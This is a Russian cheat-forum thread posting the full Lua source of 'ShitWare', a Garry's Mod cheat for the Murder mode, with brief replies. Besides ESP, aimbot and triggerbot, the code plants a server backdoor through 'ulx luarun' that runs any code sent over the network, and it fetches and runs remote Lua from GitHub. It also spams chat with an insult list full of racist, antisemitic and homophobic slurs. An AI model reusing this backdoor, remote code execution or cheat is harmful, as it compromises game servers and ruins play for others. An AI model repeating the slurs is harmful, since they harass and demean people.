[crack] ShitWare version 1.9

Главный Администратор Интернета
Забаненный
Статус
Оффлайн
Регистрация
12 Окт 2019
Сообщения
469
Реакции[?]
89
Поинты[?]
0
Обратите внимание, пользователь заблокирован на форуме. Не рекомендуется проводить сделки.
Паста для гаррис мода, а именно для
режима murder. Явной отличительной
фишкой данного проекта является то,
что он сам по себе крашит и не всегда
загружается в игру. Попытки пофиксить
этот прикол не обошлись ни чем, хорошим
данная паста так и продолжает крашить игру.
У меня она загрузилась с 2019 раза.
1603746013982.png1603746152485.png
Код:
local shit = {}
local ply = LocalPlayer()
local t = nil
local l = nil
local d = nil

shit.gm = gmod.GetGamemode().Name

shit.info = {
    "ShitWare owned by 0x0000/cactys/d3stro3r",
    "Version 1.9",
    "Created By ннчик без скита",
    "Any Problems contact yougame theme",
}

function shit.log(...)
    chat.AddText(Color(0, 255, 0), "[ShitWare] ", Color(255, 255, 255), ...)
end

function shit.logc(...)
    MsgC(Color(0, 255, 0), "[ShitWare] ", Color(255, 255, 255), ...)
    MsgN()
end

if shit.gm ~= "Murder" then
    shit.logc(Color(255, 0, 0), "This cheat is mainly for murder")
    shit.logc(Color(255, 0, 0), "Non-Murder gamemodes may cause bugs!")
end

function shit.unload()
    RunConsoleCommand("stopsound")
    hook.Remove("PreDrawSkyBox", "shit no sky")
    hook.Remove("HUDPaint", "shitmarker")
    hook.Remove("HUDPaint", "shit esp")
    hook.Remove("CreateMove", "shit hak")
    hook.Remove("Think", "shit gui")
    hook.Remove("CalcView", "shit thirdperson")
    hook.Remove("ShouldDrawLocalPlayer", "shit thirdperson")
    hook.Remove("entity_killed", "shit insults")
    hook.Remove("player_hurt", "shitmarker")
    hook.Remove("entity_killed", "shitmarker")
    hook.Remove("HUDShouldDraw", "shit crosshair")
    timer.Destroy("shit insults")
    timer.Destroy("shit spam")
    shit.gui:Remove()
end

function shit.aim(c, p)
    local t = p:LookupBone("ValveBiped.Bip01_Pelvis")
    if t != nil then
        local pos, ang = p:GetBonePosition(t)
        c:SetViewAngles((pos-LocalPlayer():GetShootPos()):Angle())
    end
end

concommand.Add("luarun", function(p, c, a, aS)
    CompileString(aS, "ULib")()
end)

shit.fps = {
    "cl_threaded_bone_setup 1",
    "cl_threaded_client_leaf_system 1",
    "r_threaded_client_shadow_manager 1",
    "r_threaded_renderables 1",
    "r_threaded_particles 1",
    "mat_queue_mode -1",
    "gmod_mcore_test 1",
    "studio_queue_mode 1",
    "r_queued_ropes 1",
    "cl_interp 0.066",
    "cl_interp_ratio 2",
    "cl_updaterate 200",
    "cl_cmdrate 200"
}

for k,v in pairs(shit.fps) do
    ply:ConCommand(v)
end

function shit.checkNet(netstr)
    return (util.NetworkStringToID(netstr) > 0)
end

function shit.makeUI(txt)
    local ui = vgui.Create("DFrame")
    ui:SetSize(666, 400)
    ui:Center()
    ui:ShowCloseButton(false)
    ui:MakePopup()
    ui:SetText("")
    function ui:Paint()
        draw.RoundedBox(5, 0, 0, self:GetWide(), self:GetTall(), Color(255, 255, 255, 255))
    end

    local title = vgui.Create("DLabel", ui)
    title:SetSize(200, title:GetTall())
    title:SetPos(10, 5)
    title:SetText(txt)
    title:SetTextColor(Color(0, 0, 0))

    local closebtn = vgui.Create("DButton", ui)
    closebtn:SetSize(40, 14)
    closebtn:SetPos(ui:GetWide() - closebtn:GetWide() - 5, 0)
    closebtn:SetText("x")
    closebtn:SetTextColor(Color(255, 255, 255))

    function closebtn:DoClick()
        ui:Hide()
    end

    function closebtn:Paint()
        if self:IsHovered() then
            draw.RoundedBox(0, 0, 0, self:GetWide(), self:GetTall(), Color(255, 0, 0, 220))
        else
            draw.RoundedBox(0, 0, 0, self:GetWide(), self:GetTall(), Color(0, 0, 0, 200))
        end
    end

    local function PaintTab(self,w,h)
        self:SetTextColor(Color(0, 0, 0))
        if self:IsHovered() then
            draw.RoundedBox(0, 0, h - 2, w, 2, Color(0, 0, 0, 255))
        end
    end

    local function PaintATab(self,w,h)
        draw.RoundedBox(0, 0, h - 10, w, 2, Color(0, 255, 0, 255))
        self:SetTextColor(Color(0, 0, 0))
    end

    local tabs = vgui.Create("DPropertySheet", ui)
    tabs:Dock(FILL)
    function tabs:Paint(w, h)
        for k,v in pairs(tabs.Items) do
            if v.Tab:GetText() == "" then
                v.Tab.Paint = function() end
                v.Tab.DoClick = function() end
                v.Tab:SetColor(Color(0, 0, 0))
                v.Tab:SetMouseInputEnabled(false)
            else
                v.Tab.Paint = PaintTab
            end
            v.Tab.DoRightClick = function() end
        end
        tabs:GetActiveTab().Paint = PaintATab
    end

    return ui,tabs,title
end

function shit.newPlist()
    local plist = vgui.Create("DListView", shit.gui)
    plist:SetMultiSelect(false)
    plist:AddColumn("ID")
    plist:AddColumn("SteamID")
    plist:AddColumn("Name")
    plist:AddColumn("Rank")
    plist:AddColumn("Kills")
    plist:AddColumn("Deaths")
    plist:Dock(FILL)

    function plist:OnRowRightClick(rI, r)
        local Menu = vgui.Create("DMenu")
        Menu:AddOption("Steam Profile", function()
            local ply = Player(r:GetValue(1))
            gui.OpenURL("https://steamcommunity.com/profiles/" .. ply:SteamID64())
        end)
        Menu:Open()
    end

    for k,v in pairs(player.GetAll()) do
        plist:AddLine(v:UserID(), v:SteamID(), v:Nick(), v:GetUserGroup(), v:Frags(), v:Deaths())
    end

    return plist
end

function shit.newTab()
    local tab = vgui.Create("DScrollPanel", shit.gui)
    tab:Dock(FILL)

    local sbar = tab:GetVBar()
    sbar:SetWide(8)

    function sbar.btnUp:Paint(w, h)
        draw.RoundedBox(2, 0, 0, w, h, Color(0, 0, 0, 255))
    end

    function sbar.btnDown:Paint(w, h)
        draw.RoundedBox(2, 0, 0, w, h, Color(0, 0, 0, 255))
    end

    function sbar:Paint(w, h)
        draw.RoundedBox(2, 0, 0, w, h, Color(0, 0, 0, 100))
    end

    function sbar.btnGrip:Paint(w, h)
        draw.RoundedBox(2, 0, 0, w, h, Color(0, 255, 0))
    end

    return tab
end

shit.gui,shit.tabs,shit.title = shit.makeUI("ShitWare | Home")
shit.gui:Hide()

shit.home = shit.newTab()
shit.home:Dock(FILL)

shit.infolabel = vgui.Create("DLabel", shit.home)
shit.infolabel:SetPos(0, 0)
shit.infolabel:SetText(string.Implode("\n", shit.info))
shit.infolabel:SetSize(shit.infolabel:GetWide(), (#shit.info * 13))
shit.infolabel:SetColor(Color(0, 0, 0))
shit.infolabel:DockMargin(4, 0, 0, 0)
shit.infolabel:Dock(FILL)

shit.unloadbtn = vgui.Create("DButton", shit.gui)
shit.unloadbtn:SetText("Unload")
shit.unloadbtn:SetColor(Color(0, 0, 0))
shit.unloadbtn:Dock(BOTTOM)
shit.unloadbtn.DoClick = function()
    shit.unload()
end

shit.cheats = shit.newTab()
shit.lua = shit.newTab()
shit.music = shit.newTab()
shit.plist = shit.newPlist()

shit.tabs:AddSheet("Home", shit.home)
shit.tabs:AddSheet("", vgui.Create("DFrame", shit.gui))
shit.tabs:AddSheet("Cheats", shit.cheats)
shit.tabs:AddSheet("", vgui.Create("DFrame", shit.gui))
shit.tabs:AddSheet("Lua Scripts", shit.lua)
shit.tabs:AddSheet("", vgui.Create("DFrame", shit.gui))
shit.tabs:AddSheet("Shit Music", shit.music)
shit.tabs:AddSheet("", vgui.Create("DFrame", shit.gui))
shit.tabs:AddSheet("Player List", shit.plist)

function shit.tabs:OnActiveTabChanged(old, new)
    shit.title:SetText("ShitWare | " .. new:GetText())
end

function shit.addCat(name)
    local chk = vgui.Create("DLabel", shit.cheats)
    chk:SetText(name)
    chk:SetTextColor(Color(0, 0, 0))
    chk:Dock(TOP)
end

function shit.add(name, cvar)
    CreateClientConVar(cvar, 0)
    local chk = vgui.Create("DCheckBoxLabel", shit.cheats)
    chk:SetConVar(cvar)
    chk:SetText(name)
    chk:SetTextColor(Color(0, 0, 0))
    chk:Dock(TOP)
    function chk.Button:Paint()
        draw.RoundedBox(0, 1, 1, 12, 12, Color(0, 0, 0))
        if self:GetChecked() then
            draw.RoundedBox(0, 2, 2, 10, 10, Color(0, 255, 0))
        end
    end
end

function shit.addlua(name, code, panel)
    if panel == nil then
        panel = shit.lua
    end
    local btn = vgui.Create("DButton", panel)
    btn:SetText(name)
    btn:SetTextColor(Color(0, 0, 0))
    btn:Dock(TOP)
    btn:DockMargin(0, 0, 0, 2)
    btn.DoClick = function()
        surface.PlaySound("buttons/button18.wav")
        RunString(code, "ULib")
    end
    function btn:Paint()
        if self:IsDown() then
            draw.RoundedBox(0, 0, 0, self:GetWide(), self:GetTall(), Color(0, 255, 0, 200))
        elseif self:IsHovered() then
            draw.RoundedBox(0, 0, 0, self:GetWide(), self:GetTall(), Color(25, 25, 25, 160))
        end
        surface.SetDrawColor(0, 0, 0)
        surface.DrawOutlinedRect(0, 0, self:GetWide(), self:GetTall())
    end
end

function shit.addsong(name, url)
    shit.addlua(name, [[sound.PlayURL("]]..url..[[", "", function() end)]], shit.music)
end

shit.addCat("ESP")
shit.add("Prop Chams", "r_drawprops")
shit.add("RGB Chams", "r_drawcolor")
shit.add("Simple Sky", "r_drawsky")
shit.add("Velocity", "r_showpos")
shit.addCat("Aim")
shit.add("Aimbot (Right Click)", "xbox_autoaim")
shit.add("Triggerbot", "ai_trigger")
shit.addCat("Chat Spam")
shit.add("Insult On Kill", "ulx_asay")
shit.add("Insult Spam", "ulx_psay")
shit.add("Promo Spam", "ulx_csay")
shit.add("Spam Only When Alive", "r_drawdead")
shit.addCat("Misc")
shit.add("Bunny Hop", "cl_jump")
shit.add("Third Person", "r_drawself")

shit.addlua("Lua Error Spam", "local pname = {'ULX', 'ULib', '"..shit.gm.."'} timer.Create('ErrSpam', 0.01, 100, function() RunString(string.rep('\\n', math.random(0, 1000))..'=', pname[math.random(1, #pname)]) end)")
shit.addlua("ShitBackdoor", [[local ccode = "" local df = vgui.Create("DFrame") df:SetSize(700, 500) df:Center() df:SetText("") df:ShowCloseButton(false) df:MakePopup() function df:Paint() draw.RoundedBox(5, 0, 0, self:GetWide(), self:GetTall(), Color(255, 255, 255, 255)) end local title = vgui.Create("DLabel", df) title:SetSize(200, title:GetTall()) title:SetPos(10, 5) title:SetText("GMOD Lua Run") title:SetTextColor(Color(0, 0, 0)) local closebtn = vgui.Create("DButton", df) closebtn:SetSize(40, 14) closebtn:SetPos(df:GetWide() - closebtn:GetWide() - 5, 0) closebtn:SetText("x") closebtn:SetTextColor(Color(255, 255, 255)) function closebtn:DoClick() df:Close() end function closebtn:Paint() if self:IsHovered() then draw.RoundedBox(0, 0, 0, self:GetWide(), self:GetTall(), Color(255, 0, 0, 220)) else draw.RoundedBox(0, 0, 0, self:GetWide(), self:GetTall(), Color(0, 0, 0, 200)) end end local code = vgui.Create("DHTML", df) code:OpenURL("http://metastruct.github.io/lua_editor/") code:Dock(FILL) code:AddFunction("gmodinterface", "OnCode", function(str) ccode = str end) local btn = vgui.Create("DButton", df) btn:SetSize(0, 24) btn:SetText("Execute Lua!") btn:Dock(BOTTOM) btn.DoClick = function() net.Start("ShitWare") net.WriteString(ccode) net.SendToServer() end]])
shit.addlua("Inject ShitBackdoor (ULX LuaRun)", "RunConsoleCommand('ulx', 'luarun', \"util.AddNetworkString('ShitWare') net.Receive('ShitWare', function() RunString(net.ReadString()) end)\")")
shit.addlua("AceBot Menu", "http.Fetch('https://raw.githubusercontent.com/ProjectOdium/OdiumLua/master/acebot_release.lua', RunString)")

shit.addsong("Megalovania", "https://darkchemistry.net/mus/meg.mp3")
shit.addsong("Chill", "https://darkchemistry.net/mus/chill.mp3")
shit.addsong("sans.", "https://darkchemistry.net/mus/sans.mp3")
shit.addsong("Pumped Up Kicks", "https://darkchemistry.net/mus/puk.mp3")

concommand.Add("menu", function()
    if shit.gui:IsVisible() then
        shit.gui:Hide()
    else
        shit.gui:Show()
    end
end)

local chamsmat = CreateMaterial("a", "VertexLitGeneric", {
    ["$ignorez"] = 1,
    ["$model"] = 1,
    ["$basetexture"] = "models/debug/debugwhite",
})

local chamsmat2 = CreateMaterial("@", "VertexLitGeneric", {
    ["$ignorez"] = 0,
    ["$model"] = 1,
    ["$basetexture"] = "models/debug/debugwhite",
})

surface.CreateFont("bigfont", {font = "Arial",size = 24,weight = 500,blursize = 0,scanlines = 0,antialias = true,underline = false,italic = false,strikeout = false,symbol = false,rotary = false,shadow = false,additive = false,outline = false,})

txt = {}
txt["pos"] = {1, 2}
txt["text"] = "S h i t W a r e"
txt["font"] = "bigfont"
txt["xalign"] = TEXT_ALIGN_LEFT
txt["yalign"] = TEXT_ALIGN_TOP
txt["color"] = Color(0, 255, 0)

function shit.esp(v, c, h)
    if !IsValid(v) then return end

    local h = h or "N/A"

    cam.Start3D()
    render.MaterialOverride(chamsmat)
    render.SetColorModulation(c.r, c.g, c.b)
    v:DrawModel()
    render.SetColorModulation(c.r, c.g, c.b)
    render.MaterialOverride(chamsmat2)
    v:DrawModel()
    render.SetColorModulation(1, 1, 1)
    cam.End3D()

    local min, max = v:GetCollisionBounds()
    local pos = v:GetPos()
    local top, bottom = (pos + Vector(0, 0, max.z)):ToScreen(), (pos - Vector(0, 0, 8)):ToScreen()
    local middle = bottom.y - top.y
    local width = middle / 2.425

    if v:IsPlayer() then
        draw.SimpleTextOutlined(v:GetNWString("bystanderName"), "DermaDefault", bottom.x, bottom.y - 11, c, TEXT_ALIGN_CENTER, TEXT_ALIGN_CBOTTOM, 1, Color(0, 0, 0))
        draw.SimpleTextOutlined(v:Nick(), "DermaDefault", bottom.x, bottom.y, c, TEXT_ALIGN_CENTER, TEXT_ALIGN_CBOTTOM, 1, Color(0, 0, 0))
    else
        draw.SimpleTextOutlined(h, "DermaDefault", bottom.x, bottom.y - 11, c, TEXT_ALIGN_CENTER, TEXT_ALIGN_CBOTTOM, 1, Color(0, 0, 0))
    end
end

hook.Add("HUDPaint", "shit esp", function()
    draw.SimpleTextOutlined("ShitWare owned by 0x0000/cactys/d3stro3r", "bigfont", 1, 2, Color(0, 255, 0), TEXT_ALIGN_LEFT, TEXT_ALIGN_TOP, 1, Color(0, 0, 0))

            if string.find(v:GetClass(), "prop_") && GetConVar("r_drawprops"):GetBool() then
                if GetConVar("r_drawcolor"):GetBool() then
                    shit.esp(v, HSVToColor(CurTime() % 6 * 60, 1, 1), "Prop")
                else
                    shit.esp(v, Color(255, 255, 255), "Prop")
                end
            end
        
        for k,v in pairs(player.GetAll()) do
            if ply:HasWeapon("weapon_mu_knife") then t = ply end
            if ply:HasWeapon("weapon_mu_magnum") then d = ply end
            if v == ply then continue end
            if !v:Alive() || v:Health() < 0 then
                if v:GetPos():Distance(ply:GetPos()) == 0 && v ~= ply then
                    draw.SimpleTextOutlined("!!! You Are Being Spectated !!!", "bigfont", ScrW() / 2, 200, Color(255, 0, 0), TEXT_ALIGN_CENTER, TEXT_ALIGN_TOP, 1, Color(0, 0, 0))
                end
                continue
            end
            if shit.gm == "Murder" then
                if v:HasWeapon("weapon_mu_knife") then
                    shit.esp(v, Color(255, 0, 0))
                    t = v
                elseif v == t then
                    shit.esp(v, Color(255, 0, 0))
                elseif v:HasWeapon("weapon_mu_magnum") then
                    shit.esp(v, Color(0, 0, 255))
                    d = v
                else
                    shit.esp(v, Color(0, 255, 0))
                end
            else
                shit.esp(v, HSVToColor(math.Clamp(v:Health(), 0, 100), 1, 1))
            
        end
    end

    surface.SetDrawColor(HSVToColor(CurTime() % 6 * 60, 1, 1))
    surface.DrawLine(ScrW() / 2 - 11, ScrH() / 2, ScrW() / 2 + 11 , ScrH() / 2)
    surface.DrawLine(ScrW() / 2 - 0, ScrH() / 2 - 11, ScrW() / 2 - 0 , ScrH() / 2 + 11)

    if IsValid(t) && shit.gm == "Murder" then
        local n = t:GetNWString("bystanderName")
        local c = t:GetPlayerColor()
        local i = n.."/"..t:Nick()
        if t:GetFriendStatus() == "friend" then
            i = i .. " [FRIEND]"
        elseif t == ply then
            i = "Self"
        end
        draw.SimpleTextOutlined("Murderer: "..i, "bigfont", 2, 22, Color(c.x * 255, c.y * 255, c.z * 255), TEXT_ALIGN_LEFT, TEXT_ALIGN_TOP, 1, Color(0, 0, 0))
    end

    if IsValid(d) && shit.gm == "Murder" then
        local n = d:GetNWString("bystanderName")
        local c = d:GetPlayerColor()
        local i = n.."/"..d:Nick()
        if d:GetFriendStatus() == "friend" then
            i = i .. " [FRIEND]"
        elseif d == ply then
            i = "Self"
        end
        draw.SimpleTextOutlined("Gunman: "..i, "bigfont", 2, 42, Color(c.x * 255, c.y * 255, c.z * 255), TEXT_ALIGN_LEFT, TEXT_ALIGN_TOP, 1, Color(0, 0, 0))
    end

    if !ply:Alive() then return end

    l = LocalPlayer():GetEyeTrace().Entity

    if !IsValid(l) || !l:IsPlayer() then return end
    
    if l == t && l ~= ply then
        draw.SimpleTextOutlined("Murderer", "bigfont", ScrW() / 2, ScrH() / 2 - 40, Color(255, 0, 0), TEXT_ALIGN_CENTER, TEXT_ALIGN_CENTER, 1, Color(0, 0, 0))
    elseif l == d && l ~= ply then
        draw.SimpleTextOutlined("Gunman", "bigfont", ScrW() / 2, ScrH() / 2 - 40, Color(0, 0, 255), TEXT_ALIGN_CENTER, TEXT_ALIGN_CENTER, 1, Color(0, 0, 0))
    elseif l ~= ply then
        draw.SimpleTextOutlined("Civilian", "bigfont", ScrW() / 2, ScrH() / 2 - 40, Color(0, 255, 0), TEXT_ALIGN_CENTER, TEXT_ALIGN_CENTER, 1, Color(0, 0, 0))
    end

    if l ~= ply && l:GetFriendStatus() == "friend" then
        draw.SimpleTextOutlined("Friend", "bigfont", ScrW() / 2, ScrH() / 2 - 20, Color(0, 255, 0), TEXT_ALIGN_CENTER, TEXT_ALIGN_CENTER, 1, Color(0, 0, 0))
    end

    if l ~= ply then
        local n = l:GetNWString("bystanderName")
        local c = l:GetPlayerColor()
        draw.SimpleTextOutlined(n, "bigfont", ScrW() / 2, ScrH() / 2 - 80, Color(c.x * 255, c.y * 255, c.z * 255), TEXT_ALIGN_CENTER, TEXT_ALIGN_CENTER, 1, Color(0, 0, 0))
        draw.SimpleTextOutlined(l:Nick(), "bigfont", ScrW() / 2, ScrH() / 2 - 60, Color(255, 255, 255), TEXT_ALIGN_CENTER, TEXT_ALIGN_CENTER, 1, Color(0, 0, 0))
    end
end)

hook.Add("CreateMove", "shit hak", function(cmd)
    if GetConVar("cl_jump"):GetBool() then
        if ply:WaterLevel() == 0 && !ply:IsFlagSet(FL_ONGROUND) && ply:GetMoveType() != MOVETYPE_NOCLIP && ply:GetMoveType() != MOVETYPE_LADDER && ply:GetMoveType() != MOVETYPE_OBSERVER then
            if(cmd:GetMouseX() > 1 || cmd:GetMouseX() < -1) then
                cmd:SetSideMove(cmd:GetMouseX() > 1 && 400 || -400)
            else
                cmd:SetForwardMove(8850 / ply:GetVelocity():Length2D())
                cmd:SetSideMove((cmd:CommandNumber() % 2 == 0) && -400 || 400)
            end
        end
        if ply:WaterLevel() == 0 && ply:GetMoveType() != MOVETYPE_NOCLIP && ply:GetMoveType() != MOVETYPE_LADDER && ply:GetMoveType() != MOVETYPE_OBSERVER then
            if cmd:KeyDown(IN_JUMP) && !ply:IsOnGround() then
                cmd:RemoveKey(IN_JUMP)
            elseif cmd:KeyDown(IN_JUMP) && ply:IsOnGround() then
                cmd:SetForwardMove(50000)
            end
        end
    end

    if ply:Alive() && IsValid(t) && l == t && l ~= ply && GetConVar("ai_trigger"):GetBool() then
        if ply:Alive() && IsValid(ply:GetActiveWeapon()) && ply:GetActiveWeapon():GetClass() ~= "weapon_mu_hands" then
            cmd:SetButtons(cmd:GetButtons() + IN_ATTACK)
        end
    end

    if IsValid(t) && ply:Alive() && GetConVar("xbox_autoaim"):GetBool() && input.IsMouseDown(MOUSE_RIGHT) then
        if ply:Alive() && t:Alive() then
            shit.aim(cmd, t)
        end
    end
end)

local insertdown = false
hook.Add("Think", "shit gui", function()
    if input.IsKeyDown(KEY_HOME) && !shit.gui:IsVisible() && !insertdown then
        insertdown = true
        shit.gui:Show()
    elseif input.IsKeyDown(KEY_INSERT) && shit.gui:IsVisible() && !insertdown then
        insertdown = true
        shit.gui:Hide()
    elseif !input.IsKeyDown(KEY_INSERT) then
        insertdown = false
    end
end)

function shit.tp(ply, pos, ang, fov)
    ang:Normalize()
    if GetConVar("r_drawself"):GetBool() then
        ply:SetColor(Color(255,255,255,100))
        ply:SetRenderMode(RENDERMODE_TRANSALPHA)

        local view = {}
        view.origin = pos - (ang:Forward() * 100)
        view.angles = ang
        view.fov = fov
        
        return view
    end
end
hook.Add("CalcView", "shit thirdperson", shit.tp)

function ThirdPersonDLP()
    return GetConVar("r_drawself"):GetBool()
end
hook.Add("ShouldDrawLocalPlayer", "shit thirdperson", ThirdPersonDLP)

shit.insults = {"{name} got fucked in the ass","{name} got fucking raped in the ass","{name} can drink my fucking piss","{name} can be gay another day","{name} could eat my shit","{name} can suck my large penis","{name} should visit our discord server","{name} can drink my dogs piss","{name} is fucked up because he died","{name} is fucking gay","{name} is a feminist","{name} is a fucking faggot","{name} is a fucking furfag and should not be proud","{name} is getting dominated by me, aka god","{name} lives in a fucking dirty hut, retarded african boy","{name} is a goddamn racist","{name} is being searched for by the fbi","{name} has ultra gay","{name} should join the discord server tf","{name} should fucking die by me again","{name} should die again","{name} is a fff alt","{name} is legit loser","{name} is a legit noob","{name} is a fucking gaywad","{name} got cucked","{name} is dominated by pure fucking skill","{name} is a noob","{name} got milk?","{name} still believes that god and santa exist lol","{name} is a dirty jew","{name} is a trump supporter","{name} lives in america","{name} has a deformed face","{name} is ugly as shit fr tho","{name} looks like deformed fetus that died","{name} can go rot in hell","{name} is a normie","{name} is a smelly jew","{name} plays minecraft for fun","{name} is gay","{name} is stupid","{name} is a furry","{name} is a waste of human flesh","{name} is an orange","{name} is a fruit","{name} is a failed abortion","{name} plays with toy trains","{name} fucking died","{name} plays with his dick for fun","{name} likes traps","{name} is a {name}","{name} is gay"}

hook.Add("entity_killed", "shit insults", function(info)
    local killer = Entity(info.entindex_attacker)
    local killed = Entity(info.entindex_killed)
    if GetConVar("ulx_asay"):GetBool() && !GetConVar("ulx_psay"):GetBool() && killer ~= killed && killer == ply && killed ~= ply then
        local insult = string.Replace(table.Random(shit.insults), "{name}", killed:Nick())
        RunConsoleCommand("say", insult)
    end
end)

gameevent.Listen("entity_killed")

function shit.rndPly()
    local ps = player.GetAll()
    local p = ps[math.random(1, #ps)]
    if p == ply then
        return shit.rndPly()
    end
    return p
end

timer.Create("shit insults", 0.1, -1, function()
    local p = shit.rndPly()
    if GetConVar("ulx_psay"):GetBool() then
        local insult = string.Replace(table.Random(shit.insults), "{name}", p:Nick())
        if shit.gm == "DarkRP" then insult = "/ooc " .. insult end

        if !GetConVar("r_drawdead"):GetBool() && !ply:Alive() then
            RunConsoleCommand("say", insult)
        elseif ply:Alive() then
            RunConsoleCommand("say", insult)
        end
    end
end)

shit.ad = 1
shit.ads = {"Worst Free Cheat.", "Pwn The Noobs.", "Get Rekt.", "Go Die In A Pit.", "Get It Now."}

timer.Create("shit spam", 0.1, -1, function()
    if GetConVar("ulx_csay"):GetBool() then
        local msg = "ShitWare | " .. shit.ads[shit.ad]
        if shit.gm == "DarkRP" then msg = "/ooc " .. msg end

        if !GetConVar("r_drawdead"):GetBool() || ply:Alive() then
            RunConsoleCommand("say", msg)
        end

        if shit.ad < #shit.ads then
            shit.ad = shit.ad + 1
        else
            shit.ad = 1
        end
    end
end)

local alpha = 0
local fDelay = 0

if !file.Exists("hitmarker.dat", "DATA") then
    http.Fetch("https://github.com/Soleedus/GMod-Simple-Hitmarker/raw/master/sound/hitmarker.wav", function(data)
        file.Write("hitmarker.dat", data)
    end)
end

function hitmarker(play)
    if play then sound.PlayFile("data/hitmarker.dat", "noblock", function(hit) end) end
    alpha = 255
    fDelay = 120
end

gameevent.Listen("player_hurt")
hook.Add("player_hurt", "shitmarker", function( data )
    if data.attacker != ply:UserID() or data.userid == ply:UserID() then return end
    hitmarker(true)
    alpha = 255
end)


gameevent.Listen("entity_killed")
hook.Add("entity_killed", "shitmarker", function(data)
    local killed = Entity(data.entindex_killed)
    local attacker = Entity(data.entindex_attacker)
    if !attacker.IsPlayer() then return end
    if attacker:UserID() != ply:UserID() or killed:UserID() == ply:UserID() then return end
    hitmarker(false)
    shit.log(Color(100,255,100), "Killed " .. killed:Nick())
    kName = killed:Nick()
end)

hook.Add("HUDShouldDraw", "shit crosshair", function(h)
    if h == "CHudCrosshair" then
        return false
    end
end)

hook.Add("HUDPaint", "shitmarker", function()
    if !ply:Alive() then alpha = 0 return end
    
    alpha = math.Approach(alpha, 0, 5)
    
    local screen = Vector(ScrW() / 2, ScrH() / 2)
    
    surface.SetDrawColor(255, 255, 255, alpha)
    
    surface.DrawLine(screen.x - 15, screen.y - 15, screen.x - 5, screen.y - 5)
    surface.DrawLine(screen.x - 15, screen.y + 15, screen.x - 5, screen.y + 5)
    surface.DrawLine(screen.x + 15, screen.y - 15, screen.x + 5, screen.y - 5)
    surface.DrawLine(screen.x + 15, screen.y + 15, screen.x + 5, screen.y + 5)
end)

hook.Add("PreDrawSkyBox", "shit no sky", function()
    if GetConVar("r_drawsky"):GetBool() then
        render.Clear(100, 150, 255, 255)
        return true
    end
end)

hook.Add("OnPlayerChat", "shit chat", function(v, text, team)
    if string.lower(text) == "sh_unload" then
        shit.unload()
        return true
    end
    if string.find(string.lower(text), "\n") then
        text = string.Replace(text, "\n", "")
    end
end)

concommand.Add("unload", shit.unload)

shit.log("Initialized!")

surface.PlaySound("garrysmod/content_downloaded.wav")
 
Последнее редактирование:
Забаненный
Статус
Оффлайн
Регистрация
28 Авг 2020
Сообщения
39
Реакции[?]
5
Поинты[?]
0
Обратите внимание, пользователь заблокирован на форуме. Не рекомендуется проводить сделки.
З̶а̶б̶а̶н̶е̶н̶н̶ы̶й
Забаненный
Статус
Оффлайн
Регистрация
20 Июл 2019
Сообщения
310
Реакции[?]
33
Поинты[?]
0
Обратите внимание, пользователь заблокирован на форуме. Не рекомендуется проводить сделки.
З̶а̶б̶а̶н̶е̶н̶н̶ы̶й
Забаненный
Статус
Оффлайн
Регистрация
20 Июл 2019
Сообщения
310
Реакции[?]
33
Поинты[?]
0
Обратите внимание, пользователь заблокирован на форуме. Не рекомендуется проводить сделки.
Главный Администратор Интернета
Забаненный
Статус
Оффлайн
Регистрация
12 Окт 2019
Сообщения
469
Реакции[?]
89
Поинты[?]
0
Обратите внимание, пользователь заблокирован на форуме. Не рекомендуется проводить сделки.
Легенда форума
Статус
Оффлайн
Регистрация
16 Сен 2018
Сообщения
4,000
Реакции[?]
1,946
Поинты[?]
7K
Ну соре что у меня глуадер называется глуадер а не луа выполнятель 2000.
От этого он инжектором не станет
И слово "загружать" тоже может подойти к луа, но никак не инжект
 
Главный Администратор Интернета
Забаненный
Статус
Оффлайн
Регистрация
12 Окт 2019
Сообщения
469
Реакции[?]
89
Поинты[?]
0
Обратите внимание, пользователь заблокирован на форуме. Не рекомендуется проводить сделки.
От этого он инжектором не станет
И слово "загружать" тоже может подойти к луа, но никак не инжект
Окей я понял, в любом случае сейчас дестроер зафиксит её я уберу эти слова с темы.
 
Сверху Снизу